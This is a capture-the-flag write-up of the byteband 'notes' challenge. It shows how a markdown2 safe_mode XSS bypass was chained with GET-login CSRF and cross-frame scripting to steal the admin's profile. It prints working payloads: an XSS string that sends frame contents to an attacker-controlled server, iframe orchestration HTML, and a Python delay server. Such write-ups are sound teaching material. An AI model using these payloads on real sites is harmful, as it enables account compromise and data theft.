XSS across user sessions.
## Application Overview
```noob just created a secure app to write notes.
Show him how secure it really is!
https://notes.web.byteband.it/```
Furthermore, there is a download of the application sources available.
The web application is very simple. It allows user registration/login, and the user is able to modify their own profile text. To get the flag, we need to view the profile of the admin user. Additionally, we can give the administrator a link which he needs to open. This shows us that a XSS attack against the admin user is presumably required.
![Notes App start page](https://www.sigflag.at/assets/posts/notes_app/NotesApp_index.png "Figure 1: Notes App start page")
**Figure 1 -** Notes App start page
![Notes App profile page](https://www.sigflag.at/assets/posts/notes_app/NotesApp_profile.png "Figure 2: Notes App profile page")
**Figure 2 -** Notes App profile page
## Source Code Analysis
Because sources are attached, they are examined at first. The application is written in Python, and Flask is used as underlying web-framework. Because user notes are the most notable input method, we look at it first. It stands out that the form supports markdown using [markdown2](https://github.com/trentm/python-markdown2). The input is converted into html and the stored in the database. Notably, the parameter ```safe_mode = True``` is set. When a user inputs a html tag like ```<script>``` it is converted into ```[HTML_REMOVED]```. By adding a space into the html tag, like ```< script>``` it is converted into ```< script>```, which already looks like the markdown processor is not that good in protecting against XSS.
```python@app.route("/update_notes", methods=["POST"])@login_requireddef update_notes():    # markdown support!!    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)    db.session.commit()    return redirect("/profile")```
A very short GitHub search gives me [issues/341](https://github.com/trentm/python-markdown2/issues/341), which is an open XSS vulnerability in markdown2. By pasting the example into the notes app, I was able to verify that it is working in the CTF application as well. The PoC looks like this:
```<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>```
The first ```alert(1);``` resides in the generated scripts tag, and thus is executed on the user side.
## Exploit Development
There is a working XSS vulnerability, but the problem now is how to deliver it to the admin user. The user notes are personal, and cannot be viewed by other users including the administrator. Thus, if the admin is logged in he sees his notes but not ours, and if we are logged in we are only seeing our notes.
After some communication with my teammates, I was pointed to the fact the user login is using GET parameters instead of the usual POST requests. Furthermore, I didn't knew about the possibility to access pages across iframes. Thus, by carefully combining [Cross Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) with [Cross Frame Scripting](https://owasp.org/www-community/attacks/Cross_Frame_Scripting), we can read data from the admin user while logged in as our own user.
The rough exploit-steps are as followed:
1. upload the payload to our own ```/profile``` page2. load a iframe to the ```/profile``` page. This contains the flag we want to access3. login as our user in a new iframe4. execute the XSS script published on our own ```/profile``` page which steals the flag from the first iframe.
First of, this is the payload we upload to our own profile page. It simply takes the important part of the page, and sends it via http to a server controlled by us:
```<http://g<!s://q?<!-<[<script>(new Image).src = 'http://<our-server-url>/?data=' + escape(parent.frames['iframe01'].document.body.getElementsByClassName("hero-body")[0].innerText);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>```
The second part is this webpage, which issues all requests in the desired order. In our case:
1. load admin page2. logout3. login as our user. The server redirects the user afterwards to the profile page and thus triggers our payload
```html<html><body><script type='text/javascript'>function loginUser() {    var iframe = document.createElement('iframe');    iframe.src = "https://notes.web.byteband.it/login?username=sigflag&password=sigflag";    iframe.sandbox = "allow-same-origin allow-scripts";    document.body.appendChild(iframe);};
function logoutUser() {    var iframe = document.createElement('iframe');    iframe.onload = loginUser;    iframe.src = "https://notes.web.byteband.it/logout";    iframe.sandbox = "allow-same-origin allow-scripts";    document.body.appendChild(iframe);};</script><iframe id="iframe01" name="iframe01" src="https://notes.web.byteband.it/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe></body></html>```
Locally, everything works fine. But the script does not work when submitted to the admin user. Why?
## Workaround Bad Challenge Design
Fortunate, we have the sources available as well as a Dockerfile to test the server locally. Looking on the sources it became clear that the site loads the page and immediatly closes the browser afterwards. I consider this bad challenge design, because you can normally expect a user to stay on a page for at least a second (and thus trigger the payload).
```pythonimport asynciofrom pyppeteer import launchfrom redis import Redisfrom rq import Queueimport os
async def main(url):    browser = await launch(headless=True,                           executablePath="/usr/bin/chromium-browser",                           args=['--no-sandbox', '--disable-gpu'])    page = await browser.newPage()    await page.goto("https://notes.web.byteband.it/login")    await page.type("input[name='username']", "admin")    await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))    await asyncio.wait([        page.click('button'),        page.waitForNavigation(),    ])    await page.goto(url)    await browser.close()
def visit_url(url):    asyncio.get_event_loop().run_until_complete(main(url))
q = Queue(connection=Redis(host='redis'))```
So, how can we increase the time between visiting the site and closing the browser. Fortunatly, browser start parsing and execution as soon data is available. Thus, by adding an artificial delay after sending our payload, we can trick the visit_link script to keep the browser open for a longer time. To do so, I wrote my own simple web-server in python:
```python#!/usr/bin/env python3
import time
from http.server import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 8080
SERVER = "https://notes.web.byteband.it"
USERNAME = "sigflag"PASSWORD = "sigflag"
EXPLOIT = """<html><body><script type='text/javascript'>function loginUser() {{    var iframe = document.createElement('iframe');    iframe.style.display = "none";    iframe.src = "{server}/login?username={username}&password={password}";    iframe.sandbox = "allow-same-origin allow-scripts";    document.body.appendChild(iframe);}};
function logoutUser() {{    var iframe = document.createElement('iframe');    iframe.style.display = "none";    iframe.onload = loginUser;    iframe.src = "{server}/logout";    iframe.sandbox = "allow-same-origin allow-scripts";    document.body.appendChild(iframe);}};</script><iframe id="iframe01" name="iframe01" src="{server}/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe></body></html>""".format(server=SERVER, username=USERNAME, password=PASSWORD)
class MyServer(BaseHTTPRequestHandler):    def do_GET(self):        self.send_response(200)        self.send_header("Content-type", "text/html")        self.end_headers()        self.wfile.write(EXPLOIT.encode('utf-8'))        time.sleep(10)  # keep open for some time for exploit to finish
myServer = HTTPServer(("0.0.0.0", PORT_NUMBER), MyServer)print(time.asctime(), "Server Starts - %s:%s" % ("0.0.0.0", PORT_NUMBER))
try:    myServer.serve_forever()except KeyboardInterrupt:    pass
myServer.server_close()print(time.asctime(), "Server Stops - %s:%s" % ("0.0.0.0", PORT_NUMBER))```
Now, I can start the web-server and send the link to the admin. After some time we get our response (after 10s in fact, because this simple server can only handle one response at a time):
```# 3.6.39.98 - - [11/Apr/2020 21:36:48] "GET / HTTP/1.1" 200 -# 3.6.39.98 - - [11/Apr/2020 21:36:58] "GET /?data=Howdy%20admin%21%0A%0Aflag%7Bch41n_tHy_3Xploits_t0_w1n%7D%0A%0A%0A HTTP/1.1" 200 -```
After URL decoding of the response, we get:
```Howdy admin!
flag{ch41n_tHy_3Xploits_t0_w1n}
```